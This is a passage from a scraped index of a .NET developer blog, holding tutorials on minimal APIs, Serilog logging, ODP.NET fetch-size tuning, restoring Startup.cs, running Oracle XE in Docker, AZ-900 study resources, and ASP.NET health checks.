{ event.preventDefault(); handleSubmitAsync(); } }); function handleSubmitAsync() { const url = document.getElementById(&#39;url&#39;).value; const json = { &#39;url&#39;: url }; const headers = { &#39;content-type&#39;: &#39;application\/json&#39; }; fetch(&#39;\/urls&#39;, { method: &#39;post&#39;, body: JSON.stringify(json), headers: headers }) .then(apiResult =&gt; { return new Promise(resolve =&gt; apiResult.json() .then(json =&gt; resolve({ ok: apiResult.ok, status: apiResult.status, json: json })) ); }) .then(({ json, ok, status }) =&gt; { if (ok) { const anchor = `&lt;a href=${json.shortUrl} target=&#34;_blank&#34;&gt;${json.shortUrl}&lt;\/a&gt;`; document.getElementById(&#39;urlResult&#39;).innerHTML = anchor; } else { alert(json.errorMessage); } }); } &lt;\/script&gt; &lt;\/body&gt; &lt;\/html&gt; index.html\nLast but not least, set up an endpoint to return the file as HTML.\napp.MapGet(&#34;\/&#34;, async (HttpContext ctx) =&gt; { \/\/sets the content type as html ctx.Response.Headers.ContentType = new Microsoft.Extensions.Primitives.StringValues(&#34;text\/html; charset=UTF-8&#34;); await ctx.Response.SendFileAsync(&#34;wwwroot\/index.html&#34;); }); Program.cs\nNow accessing the path &ldquo;\/&rdquo; endpoint will run this code and send the HTML to the end-user.\nNote 1: It&rsquo;s important to set the Content-Type as &ldquo;text\/html; charset=UTF-8&rdquo;. Otherwise, the browser will display it as simple text (show the Html code).\nNote 2: Don&rsquo;t forget to delete the previous route &ldquo;\/&rdquo; that returns &ldquo;Hello World&rdquo;.\nFrontend to end-user: Checked!\nTesting #Run the application. The page should be displayed as follow.\nUrl Shortner Landing Page\nSource Code - Follow me on Github too #GitHub - ricardodemauro\/URLShortnerMinimalApiContribute to ricardodemauro\/URLShortnerMinimalApi development by creating an account on GitHub. GitHubricardodemauro \u2764\ufe0f Enjoy this article? #Forward to a friend and let them know.\n","date":"July 4, 2022","permalink":"https:\/\/rmauro.dev\/create-a-minimal-api-with-dotnet-6\/","section":"Posts","summary":"<p>One of the new features of .NET 6 is the arrival of a new template, which will replace the default and bring a good reduction in code writing. Including the removal of the <em>Startup.cs<\/em> file.<\/p>\n<p>.NET 6 was <a href=\"https:\/\/devblogs.microsoft.com\/dotnet\/announcing-net-6\/\" target=\"_blank\" rel=\"noreferrer\">released<\/a> as LTS (long-term stable) which means support for 3 years. So we have to learn about this new baby. Don&rsquo;t forget the new C# 10 features as well.<\/p>\n<blockquote>\n<p>Minimal APIs are architected to create HTTP APIs with minimal dependencies. They are ideal for microservices and apps that want to include only the minimum files, features, and dependencies in ASP.NET Core.<br>\n<em><strong>microsoft.com<\/strong><\/em><\/p>","title":"Create a Minimal API with .NET 6"},{"content":"Serilog is a robust API for logging with many configurations and sinks (outputs) and it is straightforward to get started in any .NET version.\nWith .NET 6 the way we used to configure Serilog as a logging provider in .NET 5 is gone (no more, no way sir, no no, goodbye), it&rsquo;s no longer there.\nBootstrapping a .NET 6 application is different from the older version but still pretty easy.\nLike many other libraries for .NET, Serilog provides diagnostic logging to files, the console, and elsewhere. It is easy to set up, has a clean API, and is portable between recent .NET platforms. Unlike other logging libraries, Serilog is built with powerful structured event data in mind.\nWords from https:\/\/serilog.net\/\nLet&rsquo;s set up Serilog as Logging Provider in the native logging system in .NET so you can use the Microsoft ILogger interface.\nnamespace Microsoft.Extensions.Logging { public interface ILogger&lt;out TCategoryName&gt; : ILogger { } } Microsoft ILogger interface\nEnough with the words - show me the code #First, add Serilog dependencies packages to our project.\ndotnet add package Serilog dotnet add package Serilog.Extensions.Hosting dotnet add package Serilog.Sinks.Console Them in the Program.cs add these code changes.\nusing Serilog; \/\/create the logger and setup your sinks, filters and properties Log.Logger = new LoggerConfiguration() .WriteTo.Console() .CreateBootstrapLogger(); var builder = WebApplication.CreateBuilder(); \/\/after create the builder - UseSerilog builder.Host.UseSerilog(); \/\/redacted code Program implementation with Serilog\nWith the changes made until here, we can inject the ILogger interface and use Serilog as a log provider.\nBrief Explanation #Set up the global variable Serilog.Logger with the sink Console and bootstrap a logger.\n\/\/create the logger and setup your sinks, filters and properties Log.Logger = new LoggerConfiguration() .WriteTo.Console() .CreateBootstrapLogger(); Then we added Serilog as Logging Provider in the native logging system.\nbuilder.Host.UseSerilog(); Output # Serilog Output Sample\nEnabling Serilog&rsquo;s internal debug logging #If you are having any problems with Serilog, you can subscribe to its internal events and write them to your debug window or a console.\nSerilog.Debugging.SelfLog.Enable(msg =&gt; Debug.WriteLine(msg));Serilog.Debugging.SelfLog.Enable(Console.Error); Please note that the internal logging will not write to any user-defined sinks.\nCustomize the output format of your Logs #Serilog allows you to customize the output templates of sinks. Such as which fields you include, their order, formats, etc.\nHere is a simple example:\n\/\/create the logger and setup your sinks, filters and properties Log.Logger = new LoggerConfiguration() .WriteTo.Console(outputTemplate: &#34;[{Timestamp:HH:mm:ss} {Level:u3}] {Message:lj}{NewLine}{Exception}&#34;)) .CreateBootstrapLogger(); The following fields can be used in a custom output template:\nException Level Message NewLine Properties Timestamp \u2764\ufe0f Enjoy this article? #**Forward to a friend and let them know.\nLeave a comment with questions or improvements.\n","date":"June 26, 2022","permalink":"https:\/\/rmauro.dev\/setup-serilog-in-net6-as-logging-provider\/","section":"Posts","summary":"<p>Serilog is a robust API for logging with many configurations and sinks (outputs) and it is straightforward to get started in any .NET version.<\/p>\n<p>With <strong>.NET 6<\/strong> the way we used to configure <strong>Serilog<\/strong> as a logging provider in .NET 5 is gone (no more, no way sir, no no, goodbye), it&rsquo;s no longer there.<br>\nBootstrapping a .NET 6 application is different from the older version but still pretty easy.<\/p>","title":"Set up Serilog in .NET 6 as a logging provider"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/100daysofcode\/","section":"Tags","summary":"","title":"100DaysOfCode"},{"content":"Oracle C# drive is already pretty fast with the default configuration. But we can always tweak it a little to make it even faster.\nBy controlling the FetchSize property in ODP.NET we can make fewer round trips to Oracle Database and fetch the data faster.\nLet&rsquo;s take a look at how it&rsquo;s done and make your data access faster.\nSetup the Environment #Before we get started let&rsquo;s set up our environment for testing.\nSet up the Database with one Table and 500 records.\nOracle Database on Docker for DevelopmentSetting up Oracle Database for development in docker is very easy - it also runs in WSL2. Let\u2019s use the oracleinanutshell\/oracle-xe-11g image. rmauro.devRicardo Mauro Our Baseline for measure - Code Without optimization #static IEnumerable&lt;int&gt; LoadBigDataSet() { List&lt;int&gt; dataColl = new(500); using var conn = new OracleConnection(ConnectionString); using var cmd = new OracleCommand(Query, conn); cmd.Connection.Open(); using var reader = cmd.ExecuteReader(); while (reader.Read()) { int data = reader.GetInt32(&#34;ID_USER&#34;); dataColl.Add(data); } cmd.Connection.Close(); return dataColl; } Our Baseline - Code without optmization\nIn our baseline we had 3388 records returned in 06.35 seconds with single a column returned.\nOur Optimization - Controlling the Row Size Property #Controlling the amount of data fetched per database round trip can optimize application performance.\nIt is inefficient to retrieve five rows of data per round trip when the end-user needs to use ten rows.\nODP.NET provides the query row size via the RowSize property, allowing us to specify a FetchSize using a set number of rows to be retrieved per round trip. This feature makes optimizing data retrieval much simpler for .NET programmers.\nstatic IEnumerable&lt;int&gt; LoadBigDataSetWithRowSize() { List&lt;int&gt; dataColl = new(500); using var conn = new OracleConnection(ConnectionString); using var cmd = new OracleCommand(Query, conn); cmd.Connection.Open(); using var reader = cmd.ExecuteReader(); \/\/double the fetch size reader.FetchSize = reader.FetchSize * 2; while (reader.Read()) { int data = reader.GetInt32(&#34;ID_USER&#34;); dataColl.Add(data); } cmd.Connection.Close(); return dataColl; } Wow! Now we have 3388 records returned in 05.24 seconds. We gained almost 1 second in response time.\nExplanation #We&rsquo;ve doubled the number of records returned by round trip. Of course, we can tweak a little more if you want.\nAll done here. If you like it Subscribe for more.\nFull Sample Code #using Oracle.ManagedDataAccess.Client; using System.Data; using System.Diagnostics; namespace OraclePerformance.ConsoleApp { internal class Program { const string ConnectionString = @&#34;CONNECTION_STRING_HERE&#34;; const string Query = @&#34;SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0 UNION ALL SELECT * FROM TABLE WHERE DELETED = 0&#34;; static void Main(string[] args) { Console.WriteLine(&#34;Hello, World!&#34;); Stopwatch watch = new Stopwatch(); watch.Reset(); watch.Start(); var records = LoadBigDataSetWithRowSize(); \/\/var records = LoadBigDataSet(); watch.Stop(); Console.WriteLine(&#34;Ellapsed {0} with total records of {1}&#34;, watch.Elapsed, records.Count()); Console.ReadKey(); } static IEnumerable&lt;int&gt; LoadBigDataSet() { List&lt;int&gt; dataColl = new(500); using var conn = new OracleConnection(ConnectionString); using var cmd = new OracleCommand(Query, conn); cmd.Connection.Open(); using var reader = cmd.ExecuteReader(); while (reader.Read()) { int data = reader.GetInt32(&#34;ID_USER&#34;); dataColl.Add(data); } cmd.Connection.Close(); return dataColl; } static IEnumerable&lt;int&gt; LoadBigDataSetWithRowSize() { List&lt;int&gt; dataColl = new(500); using var conn = new OracleConnection(ConnectionString); using var cmd = new OracleCommand(Query, conn); cmd.Connection.Open(); using var reader = cmd.ExecuteReader(); reader.FetchSize = reader.FetchSize * 2; while (reader.Read()) { int data = reader.GetInt32(&#34;ID_USER&#34;); dataColl.Add(data); } cmd.Connection.Close(); return dataColl; } } } \u2764\ufe0f Enjoy this article? #Forward to a friend and let them know.\nLeave a comment with questions or improvements.\n","date":"June 10, 2022","permalink":"https:\/\/rmauro.dev\/optmizing-data-access-with-oracle-managed-ado-net\/","section":"Posts","summary":"<p>Oracle C# drive is already pretty fast with the default configuration. But we can always tweak it a little to make it even faster.<br>\nBy controlling the <code>FetchSize<\/code> property in <code>ODP.NET<\/code> we can make fewer <em>round trips<\/em> to Oracle Database and fetch the data faster.<\/p>\n<p>Let&rsquo;s take a look at how it&rsquo;s done and make your data access faster.<\/p>\n<h2 id=\"setup-the-environment\" class=\"relative group\">Setup the Environment <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#setup-the-environment\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Before we get started let&rsquo;s set up our environment for testing.<\/p>","title":"Optimizing Query Performance on C# ODP.NET - Oracle Managed Data Access"},{"content":"When .NET 6 was released, the first big change was the lack of Startup.cs. This is very nice and all. But sometimes we just want it back, and here is how.\nFirst, create a new file called Startup.cs at the root of your project with the following content - don&rsquo;t forget the namespace.\npublic class Startup { readonly IConfiguration configuration; public Startup(IConfiguration configuration) { this.configuration = configuration ?? throw new ArgumentNullException(nameof(configuration)); } public void ConfigureServices(IServiceCollection services) { services.AddControllers(); } public void Configure(IApplicationBuilder app, IWebHostEnvironment env) { app.UseRouting(); app.UseEndpoints(endpoints =&gt; { endpoints.MapDefaultControllerRoute(); }); } } Then at Program.cs change to the following.\n\/\/add necessary usings var builder = WebApplication.CreateBuilder(args); \/\/create new instance of Startup var startup = new Startup(builder.Configuration); \/\/configure all services startup.ConfigureServices(builder.Services); var app = builder.Build(); \/\/configure the pipeline startup.Configure(app, builder.Environment); \/\/run app.Run(); The simpler the solution the better!\nThat is all folks.\n**Subscribe to get notified on new posts.\n","date":"June 5, 2022","permalink":"https:\/\/rmauro.dev\/adding-startup-back-to-net-6-project\/","section":"Posts","summary":"<p>When <em>.NET 6<\/em> was released, the first big change was the lack of <strong>Startup.cs<\/strong>. This is very nice and all. But sometimes we just want it back, and here is how.<\/p>\n<p>First, create a new file called <strong>Startup.cs<\/strong> at the root of your project with the following content - don&rsquo;t forget the namespace.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-csharp\" data-lang=\"csharp\"><span class=\"line\"><span class=\"cl\"><span class=\"kd\">public<\/span> <span class=\"k\">class<\/span> <span class=\"nc\">Startup<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">readonly<\/span> <span class=\"n\">IConfiguration<\/span> <span class=\"n\">configuration<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">public<\/span> <span class=\"n\">Startup<\/span><span class=\"p\">(<\/span><span class=\"n\">IConfiguration<\/span> <span class=\"n\">configuration<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"k\">this<\/span><span class=\"p\">.<\/span><span class=\"n\">configuration<\/span> <span class=\"p\">=<\/span> <span class=\"n\">configuration<\/span> <span class=\"p\">??<\/span> <span class=\"k\">throw<\/span> <span class=\"k\">new<\/span> <span class=\"n\">ArgumentNullException<\/span><span class=\"p\">(<\/span><span class=\"n\">nameof<\/span><span class=\"p\">(<\/span><span class=\"n\">configuration<\/span><span class=\"p\">));<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">public<\/span> <span class=\"k\">void<\/span> <span class=\"n\">ConfigureServices<\/span><span class=\"p\">(<\/span><span class=\"n\">IServiceCollection<\/span> <span class=\"n\">services<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    \t<span class=\"n\">services<\/span><span class=\"p\">.<\/span><span class=\"n\">AddControllers<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">public<\/span> <span class=\"k\">void<\/span> <span class=\"n\">Configure<\/span><span class=\"p\">(<\/span><span class=\"n\">IApplicationBuilder<\/span> <span class=\"n\">app<\/span><span class=\"p\">,<\/span> <span class=\"n\">IWebHostEnvironment<\/span> <span class=\"n\">env<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">app<\/span><span class=\"p\">.<\/span><span class=\"n\">UseRouting<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">app<\/span><span class=\"p\">.<\/span><span class=\"n\">UseEndpoints<\/span><span class=\"p\">(<\/span><span class=\"n\">endpoints<\/span> <span class=\"p\">=&gt;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"n\">endpoints<\/span><span class=\"p\">.<\/span><span class=\"n\">MapDefaultControllerRoute<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">});<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>Then at <strong>Program.cs<\/strong> change to the following.<\/p>","title":"Adding Startup.cs back to .NET 6 Project"},{"content":"Lets set up an Oracle Database instance for development purpose using Docker is very easy. And it also runs in WSL2 over Windows.\nLet&rsquo;s use the oracleinanutshell\/oracle-xe-11g image. https:\/\/hub.docker.com\/r\/oracleinanutshell\/oracle-xe-11g\nTable Of Contents # Running Oracle Database On Docker Set Up a New User and Configure the Tablespace Connect Using SQL Developer Running Oracle Database on Docker #Run the following commands in your terminal.\n#pulls the images from docker hub docker pull oracleinanutshell\/oracle-xe-11g #runs the image using port forwarding docker run -d -p 49161:1521 oracleinanutshell\/oracle-xe-11g Pull and Run Oracle XE 11g\nThe output should be something like this.\nSet Up a New User and Configure the Tablespace #With the Application running in the background let&rsquo;s create a new Oracle User and set up the appropriate tablespace and grants.\nGet the running container Id and attach it running bash.\ndocker exec -it 82 bash Type sqlplus to open SQLPlus in the terminal.\nsqlplus Connect using the username and password below.\nDatabase Information hostname: localhost internal port: 49161 sid: xe username: system password: oracle Connected at SQLPlus\nRun the following commands to set up the new user and tablespace.\nCREATE TABLESPACE TSD_USERDB LOGGING DATAFILE &#39;TSD_USERDB.DBF&#39; SIZE 200M AUTOEXTEND ON NEXT 200M MAXSIZE 400M; CREATE TABLESPACE TSI_USERDB LOGGING DATAFILE &#39;TSI_USERDB.DBF&#39; SIZE 200M AUTOEXTEND ON NEXT 50M MAXSIZE 400M; CREATE USER USERDB IDENTIFIED BY PASSWORD DEFAULT TABLESPACE TSI_USERDB QUOTA UNLIMITED ON TSD_USERDB QUOTA UNLIMITED ON TSI_USERDB; Setup tablespace\nThen run the necessary grants.\nGRANT CREATE SESSION TO USERDB; GRANT CREATE PROCEDURE TO USERDB; GRANT CREATE VIEW TO USERDB; GRANT CREATE TABLE TO USERDB; GRANT CREATE SEQUENCE TO USERDB; GRANT CREATE TRIGGER TO USERDB; Setup permissions\nConnect Using SQL Developer #Connect using the recently created user to manage your database.\nDatabase Information hostname: localhost port: 49161 sid: xe username: USERDB password: PASSWORD Done! #","date":"May 30, 2022","permalink":"https:\/\/rmauro.dev\/oracle-database-on-docker-for-development\/","section":"Posts","summary":"<p>Lets set up an <em>Oracle Database<\/em> instance for development purpose using Docker is very easy. And it also runs in WSL2 over Windows.<\/p>\n<p>Let&rsquo;s use the <strong>oracleinanutshell\/oracle-xe-11g<\/strong> image. <a href=\"https:\/\/hub.docker.com\/r\/oracleinanutshell\/oracle-xe-11g\" target=\"_blank\" rel=\"noreferrer\">https:\/\/hub.docker.com\/r\/oracleinanutshell\/oracle-xe-11g<\/a><\/p>\n<h2 id=\"table-of-contents\" class=\"relative group\">Table Of Contents <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#table-of-contents\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"#running-oracle-database-on-docker\">Running Oracle Database On Docker<\/a><\/li>\n<li><a href=\"#set-up-a-new-user-and-configure-the-tablespace\">Set Up a New User and Configure the Tablespace<\/a><\/li>\n<li><a href=\"#connect-using-sql-developer\">Connect Using SQL Developer<\/a><\/li>\n<\/ul>\n<h2 id=\"running-oracle-database-on-docker\" class=\"relative group\">Running Oracle Database on Docker <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#running-oracle-database-on-docker\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Run the following commands in your terminal.<\/p>","title":"Oracle Database on Docker for Development"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/az-900\/","section":"Tags","summary":"","title":"AZ-900"},{"content":"Azure Fundamentals exam is an opportunity to prove knowledge of cloud concepts, Azure services, Azure workloads, security and privacy in Azure, as well as Azure pricing and support.\nCandidates should be familiar with the general technology concepts, including concepts of networking, storage, compute, application support, and application development.\nHere are some helpful websites and tips you should look at before taking the exam.\nBrowse these websites # https:\/\/azure.microsoft.com\/overview\/cloud-computing-dictionary\/ https:\/\/azure.microsoft.com\/services\/ https:\/\/github.com\/MicrosoftLearning\/AZ-900T0x-MicrosoftAzureFundamentals (labs) https:\/\/www.microsoft.com\/en-us\/learning\/exam-az-900.aspx (exam page) Microsoft Learn # https:\/\/docs.microsoft.com\/en-us\/learn\/modules\/intro-to-azure-fundamentals\/introduction https:\/\/docs.microsoft.com\/en-us\/learn\/paths\/az-900-describe-cloud-concepts\/ https:\/\/docs.microsoft.com\/en-us\/learn\/modules\/fundamental-azure-concepts\/ About the AZ-900 Course #Each course is organized into four modules each module supporting an exam study area:\nModule 01 \u2013 Describe Cloud concepts Module 02 \u2013 Describe Core Azure services Module 03 \u2013 Describe Core Solutions and Management Tools on Azure Module 04 \u2013 Describe General Security and Network Security Features Module 05 \u2013 Describe Identity, Governance, Privacy, and Compliance Features Module 06 \u2013 Azure Cost Management and Service Level Agreements Where to find the Labs #MicrosoftLearning\/AZ-900T0x-MicrosoftAzureFundamentalsMicrosoft Azure Fundamentals - AZ-900T00 and AZ-900T01 - MicrosoftLearning\/AZ-900T0x-MicrosoftAzureFundamentals GitHubMicrosoftLearning Bookmark these links # Azure Fundamentals (AZ-900) Certification Page. Each exam has a description page that outlines the major topics of the exam, how to study, and the overall end-to-end process to sign-up and take your exam. Microsoft Learn. Microsoft Learn offers a free Azure Fundamentals learning path. The path includes sandbox exercises for hands-on experience. Azure forums. The Azure forums are very active. You can search the threads for a specific area of interest. You can also browse categories such as Azure storage, pricing and billing, Azure VMs, and Azure Migrate. Channel 9. Channel 9 provides a wealth of informational videos, shows, and events. Azure Friday. Join Scott Hanselman as he engages one-on-one with the engineers who build the services that power Azure as they demo capabilities, answer Scott&rsquo;s questions, and share their insights. Microsoft Azure Blog. Keep current on what&rsquo;s happening in Azure, including what&rsquo;s in preview, what\u2019s generally available, and news and updates. Additional Resources #Case study introduction - LearnIn this unit, you\u2019ll learn about the case study that you\u2019ll use for the remaining modules.Microsoft Docswwlpublish Case study Tailwind Traders\nPublic Cloud vs Private Cloud vs Hybrid Cloud | Microsoft AzureWhat is a public cloud, versus a private cloud, versus a hybrid cloud? Learn about the many ways to deploy cloud services and the benefits of each. Microsoft Azure Public Cloud vs Private Cloud vs Hybrid Cloud\nTypes of service #IaaS - Infrastructure as a Service\nIAAS - https:\/\/azure.microsoft.com\/en-us\/overview\/what-is-iaas\/\nPaaS - Platform as a Service\nPAAS - https:\/\/azure.microsoft.com\/en-us\/overview\/what-is-paas\/\nSaaS - Software as a Service\nSAAS - https:\/\/azure.microsoft.com\/en-us\/overview\/what-is-saas\/\nServerless - https:\/\/azure.microsoft.com\/en-us\/solutions\/serverless\/\n","date":"June 8, 2021","permalink":"https:\/\/rmauro.dev\/az-900-useful-resources-for-the-exam\/","section":"Posts","summary":"<p>Azure Fundamentals exam is an opportunity to prove knowledge of cloud concepts, Azure services, Azure workloads, security and privacy in Azure, as well as Azure pricing and support.<br>\nCandidates should be familiar with the general technology concepts, including concepts of networking, storage, compute, application support, and application development.<\/p>\n<p>Here are some helpful websites and tips you should look at before taking the exam.<\/p>\n<h2 id=\"browse-these-websites\" class=\"relative group\">Browse these websites <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#browse-these-websites\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"https:\/\/azure.microsoft.com\/overview\/cloud-computing-dictionary\/\" target=\"_blank\" rel=\"noreferrer\">https:\/\/azure.microsoft.com\/overview\/cloud-computing-dictionary\/<\/a><\/li>\n<li><a href=\"https:\/\/azure.microsoft.com\/services\/\" target=\"_blank\" rel=\"noreferrer\">https:\/\/azure.microsoft.com\/services\/<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/MicrosoftLearning\/AZ-900T0x-MicrosoftAzureFundamentals\" target=\"_blank\" rel=\"noreferrer\">https:\/\/github.com\/MicrosoftLearning\/AZ-900T0x-MicrosoftAzureFundamentals<\/a> (labs)<\/li>\n<li><a href=\"https:\/\/www.microsoft.com\/en-us\/learning\/exam-az-900.aspx\" target=\"_blank\" rel=\"noreferrer\">https:\/\/www.microsoft.com\/en-us\/learning\/exam-az-900.aspx<\/a> (exam page)<\/li>\n<\/ul>\n<h2 id=\"microsoft-learn\" class=\"relative group\">Microsoft Learn <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#microsoft-learn\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/learn\/modules\/intro-to-azure-fundamentals\/introduction\" target=\"_blank\" rel=\"noreferrer\">https:\/\/docs.microsoft.com\/en-us\/learn\/modules\/intro-to-azure-fundamentals\/introduction<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/learn\/paths\/az-900-describe-cloud-concepts\/\" target=\"_blank\" rel=\"noreferrer\">https:\/\/docs.microsoft.com\/en-us\/learn\/paths\/az-900-describe-cloud-concepts\/<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/learn\/modules\/fundamental-azure-concepts\/\" target=\"_blank\" rel=\"noreferrer\">https:\/\/docs.microsoft.com\/en-us\/learn\/modules\/fundamental-azure-concepts\/<\/a><\/li>\n<\/ul>\n<h2 id=\"about-the-az-900-course\" class=\"relative group\">About the AZ-900 Course <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#about-the-az-900-course\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Each course is organized into four modules each module supporting an exam study area:<\/p>","title":"AZ-900 - Useful Resources for the Exam"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/azure\/","section":"Tags","summary":"","title":"Azure"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/.net-5\/","section":"Tags","summary":"","title":".NET 5"},{"content":"Health Endpoint Monitoring pattern #Health Check in .NET 5 is very simple. With just a few lines of code, you can set up everything to monitor the Health of our Application.\nImplement functional checks in an application that external tools can access through exposed endpoints at regular intervals. This can help to verify that applications and services are performing correctly.\nReference to: https:\/\/docs.microsoft.com\/en-us\/azure\/architecture\/patterns\/health-endpoint-monitoring\nIntroduction #In this series of posts, we walk through Health Checks and monitoring your web application \/ Web APIs.\nHow to Add Health Checks to ASP.Net Core Application [this post] Adding UI Health Check Endpoint Monitoring with Azure Application Insights Using Azure App Services Endpoint Monitoring In this post, we&rsquo;ll add an endpoint to monitor our existing ASP.NET Core Application health status.\nWe&rsquo;ll understand how it&rsquo;s pretty simple in .NET Core \/ .NET 5 Applications.\nWith just a few lines of code, all the infrastructure is ready to display the health status of our ASP.NET Applications.\nWe can monitor services such as:\nDatabase services, such as SQL Server, Oracle, MySql, MongoDB, among others; External API connectivity - external URLs; Disk connectivity (read\/write); Cache services, such as Redis, Memcache, among others; Custom implementations (something unique to you). Anything you need is here. If you don&rsquo;t find an implementation that suits you, we can create our custom implementation.\nAdding a Basic Health Check to ASP.NET Services #First, modify the ConfigureServices method as described below. It will add the HealthChecks service to our DI Container.\npublic void ConfigureServices(IServiceCollection services) { \/\/adding health check services to container services.AddHealthChecks(); } Startup.cs\nSecond, add on Configure pipeline the health check endpoint.\npublic void Configure(IApplicationBuilder app, IHostingEnvironment env) { if (env.IsDevelopment()) app.UseDeveloperExceptionPage(); app.UseRouting(); app.UseEndpoints(endpoints =&gt; { endpoints.MapGet(&#34;\/&#34;, async context =&gt; { await context.Response.WriteAsync(&#34;Hello World!&#34;); }); endpoints.MapDefaultControllerRoute(); endpoints.MapHealthChecks(&#34;\/healthcheck&#34;); }); } Startup.cs\nBuild, run, and access the URL http:\/\/{YOUR-URL}\/healthcheck you should see something like this.\nAll set and done to start adding services to the monitoring list. Now let&rsquo;s add one service to the monitor list - Mongo Db.\nAdding Mongo Db as a monitor service #Let&rsquo;s pick from xabaril&rsquo;s list. xabaril&rsquo;s Github repository contains a large number of AspNetCore.Diagnostics.HealthChecks packages ready for use.\nAspNetCore.HealthChecks.System AspNetCore.HealthChecks.Network AspNetCore.HealthChecks.SqlServer AspNetCore.HealthChecks.MongoDb AspNetCore.HealthChecks.Npgsql AspNetCore.HealthChecks.Elasticsearch AspNetCore.HealthChecks.Redis AspNetCore.HealthChecks.MySql https:\/\/github.com\/xabaril\/AspNetCore.Diagnostics.HealthChecks\nAdd the Nuget package AspNetCore.HealthChecks.MongoDb to your project and modify the AddHealthChecks method to include the Mongo Db Health Check.\npublic void ConfigureServices(IServiceCollection services) { \/\/adding health check services to container services.AddHealthChecks() .AddMongoDb(mongodbConnectionString: &#34;YOUR-CONNECTION-STRING&#34;, name: &#34;mongo&#34;, failureStatus: HealthStatus.Unhealthy); \/\/adding MongoDb Health Check } Startup.cs\nAfter that, we are good to start monitoring the Mongo Db connectivity. Let&rsquo;s run our application again and retest the health status page.\nAdding a second endpoint with more details #Let&rsquo;s create a second endpoint with more information about the status, such as which health check is failing.\nusing System.Linq; using Microsoft.Extensions.Diagnostics.HealthChecks; using System.Text.Json; public void Configure(IApplicationBuilder app, IWebHostEnvironment env) { \/*existing code*\/ app.UseEndpoints(endpoints =&gt; { \/*existing code*\/ 